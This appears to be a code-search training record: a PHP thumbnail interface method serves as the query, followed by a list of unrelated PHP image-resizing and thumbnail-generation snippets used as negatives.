public function replaceThumbnailResource(Thumbnail $thumbnail, array $krakenIoResult);
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function updateImgThumbnail()\n {\n //====================================================================//\n // Load Object Images List\n foreach (Image::getImages(SLM::getDefaultLangId(), $this->ProductId) as $image) {\n $imageObj = new Image($image['id_image']);\n $imagePath = _PS_PROD_IMG_DIR_.$imageObj->getExistingImgPath();\n if (!file_exists($imagePath.'.jpg')) {\n continue;\n }\n foreach (ImageType::getImagesTypes(\"products\") as $imageType) {\n $imgThumb = _PS_PROD_IMG_DIR_.$imageObj->getExistingImgPath();\n $imgThumb .= '-'.Tools::stripslashes($imageType['name']).'.jpg';\n if (!file_exists($imgThumb)) {\n ImageManager::resize(\n $imagePath.'.jpg',\n $imgThumb,\n (int)($imageType['width']),\n (int)($imageType['height'])\n );\n }\n }\n }\n }", "private function updateImgThumbnail(): void\n {\n //====================================================================//\n // Load Object Images List\n $allImages = Image::getImages(\n SLM::getDefaultLangId(),\n $this->ProductId,\n null,\n Shop::getContextShopID(true)\n );\n //====================================================================//\n // Walk on Object Images List\n foreach ($allImages as $image) {\n $imageObj = new Image($image['id_image']);\n $imagePath = _PS_PROD_IMG_DIR_.$imageObj->getExistingImgPath();\n if (!file_exists($imagePath.'.jpg')) {\n continue;\n }\n foreach (ImageType::getImagesTypes(\"products\") as $imageType) {\n $imgThumb = _PS_PROD_IMG_DIR_.$imageObj->getExistingImgPath();\n $imgThumb .= '-'.Tools::stripslashes($imageType['name']).'.jpg';\n if (!file_exists($imgThumb)) {\n ImageManager::resize(\n $imagePath.'.jpg',\n $imgThumb,\n (int)($imageType['width']),\n (int)($imageType['height'])\n );\n }\n }\n }\n }", "protected function renderResource()\n {\n $processedImageInfo = $this->imageService->processImage($this->originalAsset->getResource(), $this->adjustments->toArray());\n $this->resource = $processedImageInfo['resource'];\n $this->width = $processedImageInfo['width'];\n $this->height = $processedImageInfo['height'];\n $this->persistenceManager->whiteListObject($this->resource);\n }", "public function actualizaThumbnail()\r\n {\r\n if($thumbnail=$this->getAbosluteThumbnailPath()){\r\n if(file_exists($thumbnail)){\r\n unlink($thumbnail);\r\n }\r\n }\r\n $this->crearThumbnail();\r\n }", "public function rebuildThumb()\r\n {\r\n switch ($this->storage)\r\n {\r\n \tcase \"s3\":\r\n \r\n \t $request = \\Web::instance()->request( $this->url );\r\n \t if (empty($request['body'])) {\r\n \t throw new \\Exception('Invalid Item URL');\r\n \t }\r\n \r\n \t $buffer = $request['body'];\r\n \r\n \t break;\r\n \r\n \tcase \"gridfs\":\r\n \r\n \t $db = $this->getDb();\r\n \t $gridfs = $db->getGridFS( $this->collectionNameGridFS() );\r\n \t $length = $this->{\"length\"};\r\n \t $chunkSize = $this->{\"chunkSize\"};\r\n \t $chunks = ceil( $length / $chunkSize );\r\n \t $collChunkName = $this->collectionNameGridFS() . \".chunks\";\r\n \t $collChunks = $this->getDb()->{$collChunkName};\r\n \t \t\r\n \t $buffer = null;\r\n \t for( $i=0; $i<$chunks; $i++ )\r\n \t {\r\n \t $chunk = $collChunks->findOne( array( \"files_id\" => $this->id, \"n\" => $i ) );\r\n \t $buffer .= (string) $chunk[\"data\"]->bin;\r\n \t }\r\n \r\n \t break;\r\n \r\n \tdefault:\r\n\r\n \t throw new \\Exception('Invalid Item Storage');\r\n \t \r\n \t break;\r\n }\r\n\r\n if ( $thumb_binary_data = $this->getThumb( $buffer )) {\r\n $thumb = new \\MongoBinData( $thumb_binary_data, 2 );\r\n }\r\n \r\n $app = \\Base::instance();\r\n $files_path = $app->get('TEMP') . \"assets_thumbs\";\r\n if (!file_exists($files_path)) {\r\n mkdir( $files_path, \\Base::MODE, true );\r\n }\r\n $file_path = $files_path . '/' . $this->slug;\r\n file_put_contents( $file_path, $thumb_binary_data );\r\n \r\n return $this->set( 'thumb', $thumb )->save();\r\n }", "public function updateThumbnail()\n {\n $lastVideo = $this->videoList()->orderBy('updated_at', 'desc')->first();\n if ($lastVideo) {\n $this->thumbnail = $lastVideo->getThumbnailUrl();\n $this->save();\n }\n }", "public function reassignFeaturedImage()\n {\n\n }", "public function setThumbnailResource($thumbnailResource) {\n\t\t$this->thumbnailResource = $thumbnailResource;\n\t}", "protected function _generateThumbnail() {\n if ( $this->attributes['width'] == $this->_original_image_info[0] && $this->attributes['height'] == $this->_original_image_info[1] ) {\n $this->_calculated_width = $this->attributes['width'];\n return $this->_calculated_height = $this->attributes['height'];\n }\n if ( $this->attributes['width'] == 0 || $this->attributes['height'] == 0 ) {\n $this->_calculated_width = $this->_original_image_info[0];\n return $this->_calculated_height = $this->_original_image_info[1]; \n }\n //make sure the thumbnail directory exists. \n if ( !is_writable ( $this->thumbs_dir_path ) ) { \n trigger_error ( 'Cannot detect a writable thumbs directory!', E_USER_NOTICE );\n }\n if ( is_readable ( $this->_thumb_src ) ) {\n $this->_calculated_width = (int)$this->attributes['width'];\n $this->_calculated_height = (int)$this->attributes['height'];\n return $this->src = $this->_thumb_src; \n }\n // resize image\n $image = new Image();\n $image->open( $this->src, $this->thumb_background_rgb )\n ->resize( (int)$this->attributes['width'], (int)$this->attributes['height'] )\n ->save( $this->_thumb_src, (int)$this->thumb_quality );\n $this->_thumbnail = $image;\n $this->_calculated_width = $this->_thumbnail->getWidth();\n $this->_calculated_height = $this->_thumbnail->getHeight();\n $this->src = $this->_thumb_src;\n }", "public function makeThumbnail() {\n Image::make($this->filePath())->fit(200)->save($this->thumbnailPath());\n }", "public function getThumbnailResource() {\n\t\treturn $this->thumbnailResource;\n\t}", "public function updateThumbnailAuto (\n\t)\t\t\t\t\t\t// RETURNS <void>\n\t\n\t// $this->updateThumbnailAuto();\n\t{\n\t\t$coreData = Content::scanForCoreData($this->contentID, 5);\n\t\t\n\t\t// Make sure content entries has an appropriate image to set as a thumbnail\n\t\tif($coreData['mobile_url'] or $coreData['image_url'])\n\t\t{\n\t\t\t// Update the thumbnail now with the main header\n\t\t\t$chooseImage = ($coreData['mobile_url'] ? $coreData['mobile_url'] : $coreData['image_url']);\n\t\t\t\n\t\t\t// Set the image directory\n\t\t\t$srcData = Upload::fileBucketData($this->contentID, 10000);\n\t\t\t$bucketDir = '/assets/content/' . $srcData['main_directory'] . '/' . $srcData['second_directory'];\n\t\t\t$imageDir = CONF_PATH . $bucketDir;\n\t\t\t\n\t\t\tDownload::get($chooseImage, $bucketDir . '/' . $this->contentID . '-thumb.jpg');\n\t\t\t\n\t\t\t// Prepare the image that will become the thumbnail\n\t\t\t$image = new Image($imageDir . '/' . $this->contentID . '-thumb.jpg');\n\t\t\t\n\t\t\t// Resize the image to the appropriate size (320 x 180)\n\t\t\t$image->autoCrop(320, 180);\n\t\t\t\n\t\t\t// If the image needs a video cover, provide it here\n\t\t\tif($coreData['video_thumb'] and File::exists(APP_PATH . \"/assets/icons/video_icon.png\"))\n\t\t\t{\n\t\t\t\t$image->paste(APP_PATH . \"/assets/icons/video_icon.png\", 5, 5, 0, 0, 0, 0);\n\t\t\t}\n\t\t\t\n\t\t\t// Save the thumbnail image\n\t\t\t$image->save($imageDir . '/' . $this->contentID . '-thumb.jpg');\n\t\t\t\n\t\t\t// Update the value immediately\n\t\t\t$coreData['thumbnail'] = SITE_URL . $bucketDir . '/' . $this->contentID . '-thumb.jpg';\n\t\t\t\n\t\t\t// Save the thumbnail\n\t\t\tDatabase::query(\"UPDATE content_entries SET thumbnail=? WHERE id=? LIMIT 1\", array($coreData['thumbnail'], $this->contentID));\n\t\t\t\n\t\t\tAlert::info(\"Thumbnail Generated\", \"A thumbnail is being generated from your post's content.\");\n\t\t}\n\t\t\n\t\t$this->contentData['thumbnail'] = $coreData['thumbnail'];\n\t}", "protected function _generateThumbnail() {\n if ( $this->attributes['width'] == $this->_original_image_info[0] && $this->attributes['height'] == $this->_original_image_info[1] ) {\n $this->_calculated_width = $this->attributes['width'];\n return $this->_calculated_height = $this->attributes['height'];\n }\n if ( $this->attributes['width'] == 0 || $this->attributes['height'] == 0 ) {\n $this->_calculated_width = $this->_original_image_info[0];\n return $this->_calculated_height = $this->_original_image_info[1]; \n }\n //make sure the thumbnail directory exists. \n if ( !is_writable ( $this->thumbs_dir_path ) ) { \n trigger_error ( 'Cannot detect a writable thumbs directory!', E_USER_NOTICE );\n }\n if ( is_readable ( $this->_thumb_src ) ) {\n $this->_calculated_width = (int)$this->attributes['width'];\n $this->_calculated_height = (int)$this->attributes['height'];\n return $this->src = $this->_thumb_src; \n }\n // resize image\n $image = new Image();\n $image->open( $this->src, $this->thumb_background_rgb )\n ->resize( (int)$this->attributes['width'], (int)$this->attributes['height'] )\n ->save( $this->_thumb_src, (int)$this->thumb_quality );\n $this->_thumbnail = $image;\n $this->_calculated_width = $this->_thumbnail->getWidth();\n $this->_calculated_height = $this->_thumbnail->getHeight();\n $this->src = $this->_thumb_src;\n }", "function update_post_thumbnail_cache($wp_query = \\null)\n {\n }", "public function resolveThumbnailUrl();", "private function generateThumbnailImagick(){\n\t}", "public function withThumbnail($imagePath);", "function _createThumbnail()\r\n\t{\r\n\t\t$user=$this->auth(PNH_EMPLOYEE);\r\n\t\t$config['image_library']= 'gd';\r\n\t\t$config['source_image']= './resources/employee_assets/image/';\r\n\t\t$config['create_thumb']= TRUE;\r\n\t\t$config['maintain_ratio']= TRUE;\r\n\t\t$config['width']= 75;\r\n\t\t$config['height']=75;\r\n\r\n\t\t$this->image_lib->initialize($config);\r\n\r\n\t\t$this->image_lib->resize();\r\n\r\n\t\tif(!$this->image_lib->resize())\r\n\t\t\techo $this->image_lib->display_errors();\r\n\t}", "function recreate_thumb($image_array) {\n\tif(!file_exists($image_array[\"image_thumb_path\"])) {\n\t\t@require_once(__CHV_PATH_CLASSES__.'class.imageresize.php');\n\t\t$thumb = new ImageResize($image_array[\"image_path\"], $image_array[\"image_thumb_path\"], chevereto_config('thumb_width'), chevereto_config('thumb_height'), true);\n\t}\n}", "public static function save($file, $thumb = true) {\n\t\t// Yii::info($file);\n\n\t\tself::$source_path = $file->tempName;\n\n\t\t$file_name = self::generateFileName($file);\n\n\t\tif ($thumb) {\n\t\t\t// self::generateThumbnail(self::TMB_BIG);\n\t\t\t$tmb_medium = self::generateThumbnail(self::TMB_MEDIUM);\n\t\t\t$tmb_extra_small = self::generateThumbnail(self::TMB_EXTRA_SMALL);\n\t\t\t$tmb_small = self::generateThumbnail(self::TMB_SMALL);\n\t\t}\n\n\t\t$original = self::saveOriginImage($file);\n\n\t\t// Yii::info(\"original\");\n\t\t// Yii::info($original);\n\n\t\t$manager = \\Yii::$app->resourceManager;\n\t\t// Yii::info(\"manager\");\n\t\t// Yii::info($manager);\n\n\t\t// Yii::info(\"manager->bucket\");\n\t\t// Yii::info($manager->bucket);\n\t\t// Yii::info(\"file_name\");\n\t\t// Yii::info($file_name);\n\n\t\t$options = [\n\t\t\t'Bucket' => $manager->bucket,\n\t\t\t'Key' => 'images/' . $file_name,\n\t\t\t'SourceFile' => $original,\n\t\t\t'ACL' => CannedAcl::PUBLIC_READ,\n\t\t];\n\t\t// Yii::info(\"options\");\n\t\t// Yii::info($options);\n\t\t$manager->getClient()->putObject($options);\n\n\t\t// Yii::info(\"options origin\");\n\n\t\t$options['Key'] = 'images/thumbs/' . basename($tmb_small);\n\t\t$options['SourceFile'] = $tmb_small;\n\t\t$manager->getClient()->putObject($options);\n\n\t\t// Yii::info(\"options small\");\n\n\t\t$options['Key'] = 'images/thumbs/' . basename($tmb_extra_small);\n\t\t$options['SourceFile'] = $tmb_extra_small;\n\t\t$manager->getClient()->putObject($options);\n\t\t// Yii::info(\"options extra small\");\n\n\t\t$options['Key'] = 'images/thumbs/' . basename($tmb_medium);\n\t\t$options['SourceFile'] = $tmb_medium;\n\t\t$manager->getClient()->putObject($options);\n\t\t// Yii::info(\"options medium\");\n\n\t\t/* $options['Key'] = 'images/thumbs/'.basename($tmb_big);\n\t\t\t $options['SourceFile'] = $tmb_big;\n\t\t*/\n\n\t\t@unlink($original);\n\t\t@unlink($tmb_small);\n\t\t@unlink($tmb_extra_small);\n\t\t@unlink($tmb_medium);\n\t\t// @unlink($tmb_big);\n\n\t\t// Yii::info(\"before return\");\n\t\t// Yii::info(\"file_name\");\n\t\t// Yii::info($file_name);\n\t\treturn self::$file_name;\n\t}", "public function setThumbnail($id) {\n\t\t$result = $this->read(null, $id);\n\t\t$result = $result[$this->alias];\n\t\t$this->CatalogItem->save([\n\t\t\t'id' => $result['catalog_item_id'],\n\t\t\t'filename' => $result['filename'],\n\t\t], ['callbacks' => false, 'validate' => false]);\n\t\treturn $this->updateAll(array(\n\t\t\t$this->escapeField('thumb') => 0,\n\t\t), array(\n\t\t\t$this->escapeField('catalog_item_id') => $result['catalog_item_id'],\n\t\t\t$this->escapeField($this->primaryKey) . ' <>' => $id\n\t\t));\n\t}", "public function autoRegisterThumb200()\n {\n $this->getMediaCollections()->filter->isImage()->each(function ($mediaCollection) {\n $this->addMediaConversion('thumb_200')\n ->width(200)\n ->height(200)\n ->fit('crop', 200, 200)\n ->optimize()\n ->performOnCollections($mediaCollection->getName())\n ->nonQueued();\n });\n }", "protected function _create_cached()\n {\n if($this->url_params['c'])\n {\n // Resize to highest width or height with overflow on the larger side\n $this->image->resize($this->url_params['w'], $this->url_params['h'], Image::INVERSE);\n\n // Crop any overflow from the larger side\n $this->image->crop($this->url_params['w'], $this->url_params['h']);\n }\n else\n {\n // Just Resize\n $this->image->resize($this->url_params['w'], $this->url_params['h']);\n }\n\n // Apply any valid watermark params\n $watermarks = Arr::get($this->config, 'watermarks');\n if ( ! empty($watermarks))\n {\n foreach ($watermarks as $key => $watermark)\n {\n if (key_exists($key, $this->url_params))\n {\n $image = Image::factory($watermark['image']);\n $this->image->watermark($image, $watermark['offset_x'], $watermark['offset_y'], $watermark['opacity']);\n }\n }\n }\n\n // Save\n if($this->url_params['q'])\n {\n //Save image with quality param\n $this->image->save($this->cached_file, $this->url_params['q']);\n }\n else\n {\n //Save image with default quality\n $this->image->save($this->cached_file, Arr::get($this->config, 'quality', 80));\n }\n }", "function drush_islandora_dss_large_image_clean_thumbnails($collection, $thumbnail_placeholder_path = 'files/placeholder_tn.jpg') {\n\n module_load_include('inc', 'islandora_large_image', 'includes/derivatives');\n\n $result = FALSE;\n $tuque = islandora_get_tuque_connection(user_load(1));\n $solr_results = islandora_dss_basic_collection_get_objects_solr($collection);\n\n foreach($solr_results['response']['docs'] as $solr_doc) {\n\n $object = islandora_object_load($solr_doc['PID']);\n\n if(!$object) {\n\n drush_log('Solr Document for ' . $solr_doc['PID'] . 'must be updated', 'warning');\n continue;\n }\n \n if(isset($object['TN'])) {\n\n $thumbnail_content = $object['TN']->content;\n \n $thumbnail_checksum = md5($thumbnail_content);\n if(md5_file(drupal_get_path('module', 'islandora_dss') . '/' . $thumbnail_placeholder_path) == $thumbnail_checksum) {\n\n\t// Regenerate the thumbnail for the Object\n\t// @see islandora_large_image_create_all_derivatives()\n\n\tdrush_log('Cleaning the thumbnail for ' . $object->id, 'ok');\n\n\t$base_name = str_replace(':', '-', $object->id);\n\t$uploaded_file = islandora_large_image_get_uploaded_file($object, $base_name);\n\t$tn = islandora_large_image_create_TN_derivative($object, $uploaded_file, $base_name) and file_unmanaged_delete($uploaded_file);\n\n\tif(!$tn) {\n\n\t drush_log('Failed to clean the thumbnail for ' . $object->id, 'error');\n\t} else {\n\n\t drush_log('Successfully cleaned the thumbnail for ' . $object->id, 'success');\n\t}\n\n\t$result = $result and $tn;\n }\n }\n }\n\n return $result;\n}", "public function test_comicEntityIsCreated_thumbnail_setThumbnail()\n {\n $sut = $this->getSUT();\n $thumbnail = $sut->getThumbnail();\n $expected = Thumbnail::create(\n 'http://i.annihil.us/u/prod/marvel/i/mg/c/30/4fe8cb51f32e0',\n 'jpg'\n );\n\n $this->assertEquals($expected, $thumbnail);\n }", "public function save() {\n// is there an image resource and file location to work with?\n if (isset($this->_resource, $this->_file_location)) {\n switch ($this->_mimetype) {\n case \"image/jpeg\":\n imagejpeg($this->_resource, $this->_file_location);\n break;\n case \"image/png\":\n imagepng($this->_resource, $this->_file_location);\n break;\n case \"image/gif\":\n imagegif($this->_resource, $this->_file_location);\n break;\n }\n } else {\n trigger_error(\"CAMEMISResizeImage::save() attempting to access a non-existent resource (check if the image was loaded by CAMEMISResizeImage::__construct())\", E_USER_WARNING);\n }\n\n return $this;\n }", "function make_thumb($src,$dest) {\n try {\n // Create a new SimpleImage object\n $image = new \\claviska\\SimpleImage();\n\n // load file\n $image->fromFile($src);\n // img getMimeType\n $mime = $image->getMimeType();\n $w = $image->getWidth();\n\n // Manipulate it\n // $image->bestFit(200, 300) // proportionally resize to fit inside a 250x400 box\n // $image->flip('x') // flip horizontally\n // $image->colorize('DarkGreen') // tint dark green\n // $image->sharpen()\n // $image->border('darkgray', 1) // add a 2 pixel black border\n // $image->overlay('flag.png', 'bottom right') // add a watermark image\n // $image->toScreen(); // output to the screen\n if ($w > 1000) {\n $image->autoOrient(); // adjust orientation based on exif data\n // $image->resize($resizeWidth); // 1365\n // $image->resize(1024); // 1365\n $image->resize(800); // 1067\n }\n $image->toFile($dest,$mime,$outIMGquality);\n // echo \"mime type: \".$mime;\n } catch(Exception $err) {\n // Handle errors\n echo $err->getMessage();\n }\n}", "protected function saveImage()\n {\n if ( $this->initialImage != $this->image )\n {\n $this->deleteOldImage();\n\n $imageHandler= new CImageHandler();\n $imageHandler->load( $this->getTempFolder( TRUE ) . $this->image );\n $imageHandler->save($this->getImagesFolder( TRUE ) . $imageHandler->getBaseFileName() );\n\n $settings = $this->getThumbsSettings();\n\n if ( !empty( $settings ) )\n {\n $imageHandler= new CImageHandler();\n $imageHandler->load( $this->getTempFolder( TRUE ) . $this->image );\n\n foreach( $settings as $prefix => $dimensions )\n {\n list( $width, $height ) = $dimensions;\n $imageHandler\n ->thumb( $width, $height )\n ->save( $this->getImagesFolder( TRUE ) . $prefix . $imageHandler->getBaseFileName() );\n }\n }\n\n @unlink( $this->getTempFolder( TRUE ) . $this->image );\n }\n }", "public function reflectionAction()\n {\n $image = __DIR__ . '/../../../data/media/test.jpg';\n $reflection = $this->thumbnailer->createReflection(40, 40, 80, true, '#a4a4a4');\n $thumb = $this->thumbnailer->create($image, [], [$reflection]);\n\n $thumb\n ->resize(200, 200)\n ->show()\n ->save('public/resized_test.jpg');\n\n return false;\n }", "public function updateThumbnail(Request $request, $slug)\n {\n $request->validate([\n 'thumbnail' => 'required|image|mimes:jpeg,png,jpg,gif|max:2048',\n ]);\n\n $ingredient = Ingredient::where('slug',$slug)->first();\n\n if (!$ingredient) {\n return response()->json(['error' => 'Ingredient not found'], 404);\n }\n\n if ($ingredient->thumbnail) {\n Storage::delete($ingredient->thumbnail);\n $ingredient->thumbnail = null;\n }\n\n $thumbnailName = $ingredient->slug.'_thumbnail'.time().'.'.request()->thumbnail->getClientOriginalExtension();\n\n $thumbnailsPath = $request->thumbnail->storeAs('thumbnails',$thumbnailName);\n\n $thumbnail = Image::make(Storage::get($thumbnailsPath));\n\n $thumbnail->fit(400, 400, function ($constraint) {\n $constraint->aspectRatio();\n $constraint->upsize();\n });\n\n $thumbnail->save('storage/' . $thumbnailsPath);\n\n $ingredient->thumbnail = $thumbnailsPath;\n $ingredient->save();\n\n return response()->json($ingredient)->setStatusCode(200);\n }", "private function generateThumbnailGD(){\n\t\t\n\t}", "public function setResource($resource)\n {\n if($this->getWorker($resource) === $this->getWorker($this->resource))\n {\n $this->resource = $resource;\n }\n\n $this->tmpImage[] = $tmpImage = tempnam(sys_get_temp_dir(), 'picture');\n\n if($this->getWorker($resource) === $this::WORKER_GD)\n {\n imagepng($resource, $tmpImage, 0);\n }\n else\n {\n $resource->writeImage($tmpImage);\n }\n\n if($this->isGd())\n {\n $this->resource = $this->getGdResource($tmpImage);\n }\n else\n {\n $this->resource = $this->createImagick($tmpImage);\n }\n }", "private function resize() {\n\t\tswitch($this->type) {\n\t\t\tcase 'image/jpeg':\n\t\t\t\t$originalImage = imagecreatefromjpeg($this->tempName);\n\t\t\tbreak;\n\t\t\tcase 'image/png':\n\t\t\t\t$originalImage = imagecreatefrompng($this->tempName);\n\t\t\tbreak;\n\t\t\tcase 'image/gif':\n\t\t\t\t$originalImage = imagecreatefromgif($this->tempName);\n\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tdie('FILE CANNOT BE RESIZED');\n\t\t\tbreak;\n\t\t}\n\n\t\t// Determine new height\n\t\t$this->newHeight = ($this->height / $this->width) * $this->newWidth;\n\n\t\t// Create new image\n\t\t$this->newImage = imagecreatetruecolor($this->newWidth, $this->newHeight);\n\n\t\t// Resample original image into new image\n\t\timagecopyresampled($this->newImage, $originalImage, 0, 0, 0, 0, $this->newWidth, $this->newHeight, $this->width, $this->height);\n\n\t\t// Switch based on image being resized\n\t\tswitch($this->type) {\n\t\t\tcase 'image/jpeg':\n\t\t\t\t// Source, Dest, Quality 0 to 100\n\t\t\t\timagejpeg($this->newImage, $this->destinationFolder.'/'.$this->newName, 80);\n\t\t\tbreak;\n\t\t\tcase 'image/png':\n\t\t\t\t// Source, Dest, Quality 0 (no compression) to 9\n\t\t\t\timagepng($this->newImage, $this->destinationFolder.'/'.$this->newName, 0);\n\t\t\tbreak;\n\t\t\tcase 'image/gif':\n\t\t\t\timagegif($this->newImage, $this->destinationFolder.'/'.$this->newName);\n\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tdie('YOUR FILE CANNOT BE RESIZED');\n\t\t\tbreak;\n\t\t}\n\n\t\t// DESTROY NEW IMAGE TO SAVE SERVER SPACE\n\t\timagedestroy($this->newImage);\n\t\timagedestroy($originalImage);\n\n\t\t// SUCCESSFULLY UPLOADED\n\t\t$this->result = true;\n\t\t$this->message = 'Image uploaded and resized successfully';\n\t}", "public function gen_thumbnail()\n {\n }", "public function gen_thumbnail()\n {\n }", "function processNewImage($image_posted, $newImage)\n {\n ini_set('memory_limit', '1024M');\n list($postedWidth, $postedHeight, $type) = getimagesize($image_posted);\n if ( $type == IMAGETYPE_JPEG )\n $image_src = imagecreatefromjpeg($image_posted);\n else if ( $type == IMAGETYPE_PNG )\n $image_src = imagecreatefrompng($image_posted);\n else if ( $type == IMAGETYPE_GIF )\n $image_src = imagecreatefromgif($image_posted);\n if ( !$image_src)\n $this->reportError('cms/model/edit_input processNewImage. Problem opening source image: '. $image_posted);\n\n // STORE ORIGINAL IMAGE, as a jpg\n set_time_limit(120); // resets default time limit back to zero\n\n if ($this->config['image_resize_original']) {\n\t\t\t\t\t\tif ($postedWidth >= $postedHeight){\n\t\t\t\t\t\t $postedWidthResized = $this->config['image_maxside_original'];\n\t\t\t $postedHeightResized = floor (($this->config['image_maxside_original'] / $postedWidth) * $postedHeight);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t $postedHeightResized = $this->config['image_maxside_original'];\n\t\t\t $postedWidthResized = floor (($this->config['image_maxside_original'] / $postedHeight) * $postedWidth);\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t $postedHeightResized = $postedHeight;\n\t\t\t\t\t $postedWidthResized = $postedWidth;\n\t\t\t\t}\n\n\t $image_dst = imagecreatetruecolor($postedWidthResized, $postedHeightResized)\n\t or $this->reportError('cms/model/edit_input processNewImage Store Original. Problem with imagecreatetruecolor');\n\n\t if ($type == IMAGETYPE_PNG) {\n\t $color = imagecolorallocatealpha($image_dst, 255, 255, 255, 127)\n\t or $this->reportError('cms/model/edit_input.php processNewImage. Store Original. Problem with imagecolorallocatealpha');\n\t imagefill($image_dst, 0, 0, $color)\n\t or $this->reportError('cms/model/edit_input.php processNewImage. Store Original. Problem with imagefill');\n\t }\n imagecopyresampled($image_dst, $image_src, 0, 0, 0, 0, $postedWidthResized, $postedHeightResized, $postedWidth, $postedHeight)\n or $this->reportError('cms/model/edit_input processNewImage Store Original. Problem with imagecopyresampled');\n imagejpeg($image_dst, CONFIG_DIR.'/content/images/original/'.$newImage , $this->config['image_quality_original'])\n or $this->reportError('cms/model/edit_input processNewImage Store Original. Problem with imagejpeg');\n imagedestroy($image_dst);\n\n // STORE RESIZED image with same aspect ratio as original (used for on screen cropping)\n set_time_limit(120);\n\n // set longest side to 600 and keep aspect ratio\n if ($postedWidthResized >= $postedHeightResized) {\n $uncroppedWidth = 600;\n $uncroppedHeight = floor ((600/ $postedWidthResized) * $postedHeightResized);\n }\n else{\n $uncroppedHeight = 600;\n $uncroppedWidth = floor ((600/ $postedHeightResized) * $postedWidthResized);\n }\n\n $image_from_src = imagecreatefromjpeg(CONFIG_DIR.'/content/images/original/'.$newImage)\n or $this->reportError('cms/model/edit_input processNewImage. Store Resized. Problem with imagecreatefromjpeg');\n\n $image_dst = imagecreatetruecolor($uncroppedWidth, $uncroppedHeight)\n or $this->reportError('cms/model/edit_input processNewImage Store Resized. Problem with imagecreatetruecolor');\n\n imagecopyresampled($image_dst, $image_from_src, 0, 0, 0, 0, $uncroppedWidth, $uncroppedHeight, $postedWidthResized, $postedHeightResized)\n or $this->reportError('cms/model/edit_input processNewImage Store Resized. Problem with imagecopyresampled');\n\n imagejpeg($image_dst, CONFIG_DIR.'/content/images/uncropped/'.$newImage , 80)\n or $this->reportError('cms/model/edit_input processNewImage Store Resized. Problem with imagejpeg');\n\n imagedestroy($image_dst);\n\n // calculate default cropping coordinates for a new image\n $srcRatio = $uncroppedWidth / $uncroppedHeight;\n $image_ratio_panorama = $this->convertConfigRatio($this->config['image_ratio_panorama']);\n $image_ratio_landscape = $this->convertConfigRatio($this->config['image_ratio_landscape']);\n $image_ratio_portrait = $this->convertConfigRatio($this->config['image_ratio_portrait']);\n $image_ratio_square = $this->convertConfigRatio($this->config['image_ratio_square']);\n\n // coordinates for Panorama image\n if ( $srcRatio > $image_ratio_panorama) {\n $w = floor ( $uncroppedHeight * $image_ratio_panorama);\n $m = floor (( $uncroppedWidth - $w) / 2) ;\n $mx1 = $m;\n $mx2 = $m + $w;\n $my1 = 0;\n $my2 = $uncroppedHeight;\n }\n else {\n $h = floor ( $uncroppedWidth / $image_ratio_panorama );\n $m = floor ( ($uncroppedHeight - $h) / 2);\n $mx1 = 0;\n $mx2 = $uncroppedWidth;\n $my1 = $m;\n $my2 = $m + $h;\n }\n // coordinates for landscape image\n if ( $srcRatio > $image_ratio_landscape) {\n $w = floor ( $uncroppedHeight * $image_ratio_landscape);\n $m = floor (( $uncroppedWidth - $w) / 2) ;\n $lx1 = $m;\n $lx2 = $m + $w;\n $ly1 = 0;\n $ly2 = $uncroppedHeight;\n }\n else {\n $h = floor ( $uncroppedWidth / $image_ratio_landscape);\n $m = floor (( $uncroppedHeight - $h) / 2);\n $lx1 = 0;\n $lx2 = $uncroppedWidth;\n $ly1 = $m;\n $ly2 = $m + $h;\n }\n\n // coordinates for portrait image\n if ($srcRatio > $image_ratio_portrait) {\n $w = floor ( $uncroppedHeight * $image_ratio_portrait);\n $m = floor (( $uncroppedWidth - $w) / 2) ;\n $px1 = $m;\n $px2 = $m + $w;\n $py1 = 0;\n $py2 = $uncroppedHeight;\n }\n else {\n $h = floor ( $uncroppedWidth / $image_ratio_portrait);\n $m = floor (( $uncroppedHeight - $h) / 2);\n $px1 = 0;\n $px2 = $uncroppedWidth;\n $py1 = $m;\n $py2 = $m + $h;\n }\n\n // coordinates for square image\n if ($srcRatio > $image_ratio_square) {\n $w = floor ( $uncroppedHeight * $image_ratio_square);\n $m = floor (( $uncroppedWidth - $w) / 2) ;\n $sx1 = $m;\n $sx2 = $m + $w;\n $sy1 = 0;\n $sy2 = $uncroppedHeight;\n }\n else {\n $h = floor ( $uncroppedWidth / $image_ratio_square);\n $m = floor (( $uncroppedHeight - $h) / 2);\n $sx1 = 0;\n $sx2 = $uncroppedWidth;\n $sy1 = $m;\n $sy2 = $m + $h;\n }\n\n // coordinates for fluid image\n\t\t\t\t$fx1 = 0;\n\t\t\t\t$fx2 = $uncroppedWidth;\n\t\t\t\t$fy1 = 0;\n\t\t\t\t$fy2 = $uncroppedHeight;\n\n\t\t\t// set width and height for fluid image, using original aspect ratio scaled to config maxside fluid.\n\t \t\t if ($postedWidth >= $postedHeight) {\n\t \t\t\t\t $fluidWidth = $this->config['image_maxside_fluid'];\n\t \t\t\t\t $fluidHeight = floor (($this->config['image_maxside_fluid']/ $postedWidth) * $postedHeight);\n\t \t\t }\n\t \t\t else{\n\t\t\t\t $fluidHeight = $this->config['image_maxside_fluid'];\n\t\t\t\t $fluidWidth = floor (($this->config['image_maxside_fluid']/ $postedHeight) * $postedWidth);\n\t \t\t }\n\n // add new image to session data\n $imageSeq = count($_SESSION['item']['images']);\n $image = array(\n\t\t 'src' => $newImage,\n\t\t 'seq' => $imageSeq,\n\t\t 'mx1' => $mx1, 'mx2' => $mx2, 'my1' => $my1, 'my2' => $my2,\n\t\t 'lx1' => $lx1, 'lx2' => $lx2, 'ly1' => $ly1, 'ly2' => $ly2,\n\t\t 'px1' => $px1, 'px2' => $px2, 'py1' => $py1, 'py2' => $py2,\n\t\t 'sx1' => $sx1, 'sx2' => $sx2, 'sy1' => $sy1, 'sy2' => $sy2,\n\t\t 'fx1' => $fx1, 'fx2' => $fx2, 'fy1' => $fy1, 'fy2' => $fy2,\n\t\t 'height' => $uncroppedHeight, 'width' => $uncroppedWidth,\n\t\t 'height_fluid' => $fluidHeight, 'width_fluid' => $fluidWidth,\n\t\t 'alt' => null, 'web_images' => true, 'prime_aspect_ratio' => 'landscape'\n );\n $_SESSION['item']['images'][] = $image;\n }", "private function newImageResource($width, $height) {\n $new_image = imagecreatetruecolor($width, $height);\n\n// handling images with alpha channel information\n switch ($this->_mimetype) 